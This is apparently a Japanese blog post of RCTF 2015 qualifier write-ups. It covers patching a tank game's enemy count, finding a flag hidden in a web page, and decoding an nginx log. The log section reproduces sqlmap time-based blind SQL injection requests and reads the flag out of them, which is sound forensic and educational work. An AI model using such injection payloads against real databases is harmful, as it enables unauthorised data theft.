RCTF 2015 Quals

RCTF 2015 Quals writeup tank

go! go! play the game! the flag in the tenth level.(The flag should include RCTF{})
TankGame_49724e9f821d5e61d9029a37d778c1f0
ダウンロードしたファイルを解凍すると、以下のファイルとフォルダが作成されます。
  • graphics
  • map
  • sound
  • TankGame.exe
TankGame.exeを実行してみます。すると、懐かしの「バトルシティー」キター!
1
1PLAYERで始めてみます。
数えてみると敵戦車を20機やっつけると、1面クリアのようです。
2
面倒なので、敵戦車20機を1機にするパッチを当てみましょう。
20は16進数では「0x14」なので、まず「IDA Pro Free」でTankGame.exeを開きます。そして、「Search」→「immediate value...」を選択し、「0x14」を検索します。
4
数値データとしての「0x14」はそれほど多くないようなので、stirlingで開いて、先頭から順番に「0x14」→「0x01」に修正して実行してみます。動かなくなったり、敵戦車が20機のままだったら、修正した箇所を元に戻して次の箇所を「0x14」→「0x01」に修正して実行してみます。

 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00003990  89 78 DC 89 38 05 BC 00 00 00 49 75 F3 BA 14 00   悦ワ.8.シ...Iu..
 000039A0  00 00 8D 86 34 0C 00 00 8B CA 89 38 83 C0 24 49   ..号4...玉.8β$I
すると、アドレス399Eの0x14を0x01に修正して実行したときに、見事、敵戦車が1機になりました。
3

これで敵戦車が1機だけになりましたので、クリアするのが簡単になりました。
後は、10面クリアすればフラグをゲットすることができます。10面クリアするとTankGame.exeと同じフォルダに「flag.txt」ファイルが作成されます。
U_9et_Th3_f1@g_0F_TankGame
したがって、フラグは、
RCTF{U_9et_Th3_f1@g_0F_TankGame}
になります。



RCTF 2015 Quals writeup sign in

"you should know that flag format is RCTF{}"
http://roisfzu.org:8998/funny
問題で与えられたURLにアクセスしてみます。
1

よく分かりませんが、とりあえず「Japan」を選択して「Update」ボタンをクリックします。
2

フラグが表示されました。
flag: this1sn0tt3ueflag
フラグの書式「RCTF{this1sn0tt3ueflag}」に直して試してみますが、通りません。よく見るとThis is not true flagのLeet表記でした。

次に、このページのソースを見てみました。
3

先ほどの偽フラグの所にHTMLコメントが書いてあります。
flag: Th1sAls0notT3uefl0g
フラグの書式「RCTF{Th1sAls0notT3uefl0g}」に直して試してみますが、これも違うようです。

ページを下のほうまでスクロールすると隠しメッセージ(反転すると表示される)があります。
4
keyboard: 23es1qazdc 5rdcvgy6 7gv 098ujnb zxcv resxc 4567tgb 78jk6yhn
QWERTYキーボードで上記メッセージのキーをなぞってみると、「ROiS_cTF」という文字になります。
ということで、フラグは、
RCTF{ROiS_cTF}
です。



RCTF 2015 Quals writeup Analysis nginx‘s log

Analysis nginx's log(this flag is like ROIS{xxx}
log_d30afe96202aafae7c0a1ecc123c0584
さて、ログを見てみると、ブラインドSQLインジェクションを試みているようです。
ログファイルはURLエンコードされていますので、2345行目~2351行目のログをURLデコードします。

192.168.52.1 - - [06/Nov/2015:19:33:07 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>64),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:07 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>96),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:08 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>80),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:08 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>88),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:08 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>84),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:08 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>82),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:09 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))>81),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:09 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))!=82),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"

「!=」の部分が怪しいですね。ASCIIコードの82は「R」になります。
同様に、2353行目~2360行目をURLデコードします。

192.168.52.1 - - [06/Nov/2015:19:33:10 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>64),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:10 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>96),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:10 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>80),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:11 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>72),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:12 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>76),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:13 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>78),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:13 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))>79),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
192.168.52.1 - - [06/Nov/2015:19:33:13 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))!=79),SLEEP(1),7500) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"
ASCIIコードの79は「O」になります。
以下、同様にやっていくと、
82    R
79    O
73    I
83    S
123    {
109    m
105    i
83    S
99    c
95    _
65    A
110    n
64    @
108    l
121    y
83    S
105    i
115    s
95    _
110    n
71    G
49    1
110    n
120    x
95    _
76    L
48    0
103    g
125    }
となります。
よって、フラグは、
ROIS{miSc_An@lySis_nG1nx_L0g}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー